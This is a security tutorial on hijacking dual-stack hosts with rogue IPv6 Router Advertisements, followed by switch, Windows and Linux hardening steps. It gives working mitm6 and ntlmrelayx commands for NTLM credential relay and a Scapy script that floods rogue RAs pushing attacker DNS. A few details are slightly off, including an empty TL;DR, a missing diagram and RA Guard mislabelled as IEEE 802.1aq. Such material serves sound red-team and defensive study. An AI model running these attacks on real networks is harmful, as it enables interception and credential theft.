IPv6 Rogue Router Advertisements: Hijacking Windows and Linux Hosts on Dual-Stack Networks

Hook & Context

Most security teams have a coherent IPv4 policy. Firewalls, DHCP snooping, ARP inspection — the usual suspects are configured and audited. What they often miss is that Windows has had IPv6 enabled by default since Vista, and Linux distributions have done the same for over a decade. The result is a sprawling dual-stack environment where IPv6 is fully functional at the OS level but invisible to the security team. No RA Guard. No DHCPv6 snooping. No monitoring. Just open air.

The attack covered in this post exploits a fundamental feature of IPv6: Stateless Address Autoconfiguration (SLAAC). When a host boots or joins a network, it listens for Router Advertisement (RA) messages to learn its default gateway, network prefix, and DNS resolvers (via RDNSS). There is no authentication mechanism in the base protocol. Any host on the same Layer 2 segment can send an RA packet and every unprotected host will believe it. The attacker doesn't need to touch IPv4. They don't need to ARP-poison anything. They simply announce themselves as the router, and the OS does the rest.

This matters operationally because Windows will prefer IPv6 over IPv4 by default when both stacks are active. An attacker who wins the IPv6 default gateway race intercepts traffic that the victim believes is going to the real network — DNS queries, SMB connections, LDAP authentication, HTTP requests — while IPv4 flows normally, keeping the user entirely unaware. This is the foundation of attacks like NTLM relay chains via mitm6, and it has been reliably weaponized in real-world red team engagements for years.

TL;DR

Foundations & Theory

Why SLAAC Exists and Why It Has No Auth

IPv6 was designed to be self-configuring at scale. SLAAC (defined in RFC 4862) lets a host derive a full globally routable address from a router-advertised prefix plus its own interface identifier — no DHCP server needed. The Router Advertisement message (ICMPv6 Type 134) carries:

• Prefix Information Option (PIO): the /64 prefix hosts use to build their address
• Router Lifetime: how long this router should be trusted as the default gateway
• RDNSS Option (RFC 8106): one or more DNS server addresses, embedded directly in the RA

The protocol designers assumed that routers would be trusted because they were physically on the correct network segment. There was no consideration for a compromised or malicious host sharing the same broadcast domain. This assumption is the root of the vulnerability.

Windows IPv6 Preference: The Quiet Multiplier

RFC 6724 defines the default address selection policy for IPv6-capable systems. Windows implements this policy and ranks IPv6 global unicast addresses above IPv4 addresses in the destination address selection table. When a Windows host resolves a hostname and receives both an A (IPv4) and AAAA (IPv6) record, it will attempt the IPv6 path first.

This means an attacker who only controls the IPv6 path can intercept DNS responses and redirect connections — even if IPv4 is perfectly healthy. The user sees no error. The session just goes through the wrong gateway.

Where It Fits in the Workflow

This attack sits firmly in the post-initial-access lateral movement phase. It assumes the attacker is already on a Layer 2 segment — either via a compromised workstation, a rogue device on a network port, or access to a wireless segment. It is not a remote pre-auth attack. The power is in how quietly and completely it repositions the attacker as a network insider.

Key Concepts in Depth

1. The Rogue RA Packet: Anatomy of the Hijack

The core packet is an ICMPv6 Router Advertisement sent from the attacker's link-local address to the all-nodes multicast group (ff02::1). Every IPv6-enabled host on the segment receives it. The critical fields an attacker controls:

• Router Lifetime (set high, e.g. 1800s): victims keep using this gateway until it expires or a better one appears
• Prefix Information Option: the attacker advertises a legitimate-looking /64 prefix, or hijacks the real one
• RDNSS Option: attacker's IPv6 address is inserted as the DNS resolver
• M flag (Managed) / O flag (Other): can instruct hosts to also use DHCPv6, enabling mitm6 to respond to DHCPv6 SOLICIT messages and hand out IPv6 addresses with attacker-controlled DNS

With mitm6, you can craft and flood these packets with a single command:

sudo mitm6 -i eth0 -d targetdomain.local

mitm6 specifically targets the -d domain's WPAD and DNS requests, making it surgical rather than noisy. It responds to DHCPv6 requests and injects RDNSS entries pointing to the attacker's host.

2. DNS Poisoning via RDNSS

Once the victim adopts the rogue RDNSS resolver, every DNS query for internal names (targetdomain.local) goes to the attacker first. mitm6 responds with the attacker's own IP for any lookup — most critically for WPAD (Web Proxy Auto-Discovery). Windows will request wpad.targetdomain.local automatically, and mitm6 hands back a WPAD script that routes HTTP traffic through the attacker's proxy.

This is not theoretical noise. This single DNS response chain reliably triggers:

• NTLM authentication to the attacker's fake WPAD server (Windows sends credentials automatically for intranet-zone URLs)
• SMB authentication when mitm6 redirects UNC path lookups

Pair this with impacket's ntlmrelayx.py and you have a full relay chain:

sudo ntlmrelayx.py -6 -t smb://192.168.1.10 -wh attacker.targetdomain.local -l loot/

The -6 flag tells ntlmrelayx to listen on IPv6. Credentials captured from WPAD/HTTP are relayed in real time to internal SMB targets.

3. Observing the Attack in Wireshark

Before running any tooling, passive observation teaches you the environment. In Wireshark, apply this display filter to see all RA traffic on the segment:

icmpv6.type == 134

Legitimate RAs come from the real router's link-local address at a low frequency (typically every 200–600 seconds). When mitm6 runs, you'll see a flood of RAs from the attacker's link-local address at a much higher rate — this is the "winning" strategy: out-advertise the real router so victims refresh their default gateway table to the attacker.

To see RDNSS options specifically in Wireshark:

icmpv6.opt.type == 25

This isolates RA packets containing DNS server information. You'll see the attacker's IPv6 address being pushed as the resolver to every host on the segment.

4. The Attack Surface Diagram: Who's Vulnerable

Linux note: on systems using systemd-networkd, the accept-ra setting defaults to yes. On NetworkManager systems, nm-setting-ip6-config controls RA acceptance and is on by default. Check with:

sysctl net.ipv6.conf.eth0.accept_ra

A value of 1 means the host will accept and act on RAs from any source.

5. Scapy for Custom RA Crafting

For controlled lab environments and targeted RA injection (e.g., testing specific RDNSS options without flooding), Scapy gives precise control:

from scapy.all import *
from scapy.layers.inet6 import *

iface = "eth0"
src_mac = get_if_hwaddr(iface)
src_ip = get_if_addr6(iface)  # attacker link-local

ra = (
    Ether(src=src_mac, dst="33:33:00:00:00:01") /
    IPv6(src=src_ip, dst="ff02::1") /
    ICMPv6ND_RA(routerlifetime=1800) /
    ICMPv6NDOptPrefixInfo(prefix="2001:db8:dead:beef::", prefixlen=64) /
    ICMPv6NDOptRDNSS(dns=["2001:db8:dead:beef::1"])
)

sendp(ra, iface=iface, loop=1, inter=5)

This is useful for purple team exercises where the goal is to validate whether RA Guard policies are catching injected RAs on specific switch ports, without running a full mitm6 session that disrupts production traffic.

Alternatives & Comparison

mitm6 is the standard choice for red team engagements because it is scoped to a specific domain, integrates directly with ntlmrelayx, and has well-understood behavior. fake_router6 from the THC-IPv6 toolkit is noisier and more likely to trigger IDS alerts or cause legitimate network disruption — use it only in isolated lab environments.

Hardening: Defending Against Rogue RAs

⚠️ Detection without prevention is not a security control. Understanding the attack is half the job — understanding the remediation is what separates a complete audit from a vulnerability report.

RA Guard (IEEE 802.1aq / RFC 6105)

RA Guard is a Layer 2 switch-level control that drops RA packets on ports that are not designated as router-facing. Configure it on Cisco IOS-XE:

ipv6 nd raguard policy HOST-POLICY
 device-role host
!
interface GigabitEthernet1/0/1
 ipv6 nd raguard attach-policy HOST-POLICY

All host-facing ports get the HOST-POLICY. Only uplink/router ports are left without it. This is the single most effective control because it operates at the switch fabric before any host ever sees the rogue packet.

DHCPv6 Snooping

Similar to DHCP snooping on IPv4, this drops DHCPv6 REPLY messages from untrusted ports, preventing mitm6 from successfully assigning itself as the DNS server via DHCPv6:

ipv6 dhcp snooping
ipv6 dhcp snooping vlan 10

Windows Group Policy: Disabling IPv6 Components Selectively

If IPv6 is not operationally required, the Microsoft-recommended approach is not to disable the stack entirely (which can break things) but to use the registry key HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\DisabledComponents with a bitmask. Via Group Policy Preferences, set value 0xFF to disable all IPv6 components except the loopback. This prevents SLAAC entirely.

Linux: Harden RA Acceptance

# Disable RA acceptance on all interfaces
sysctl -w net.ipv6.conf.all.accept_ra=0
sysctl -w net.ipv6.conf.default.accept_ra=0

Make permanent in /etc/sysctl.d/99-ipv6-harden.conf.

Further Reading & References

• RFC 4861 — Neighbor Discovery for IP version 6
• RFC 4862 — IPv6 Stateless Address Autoconfiguration
• RFC 6105 — IPv6 Router Advertisement Guard
• RFC 8106 — IPv6 Router Advertisement Options for DNS Configuration (RDNSS)
• mitm6: Compromising IPv4 networks via IPv6 — Fox-IT blog
• mitm6 GitHub Repository
• impacket ntlmrelayx — Fortra GitHub
• Microsoft Guidance on Disabling IPv6 Components
• Cisco RA Guard Configuration Guide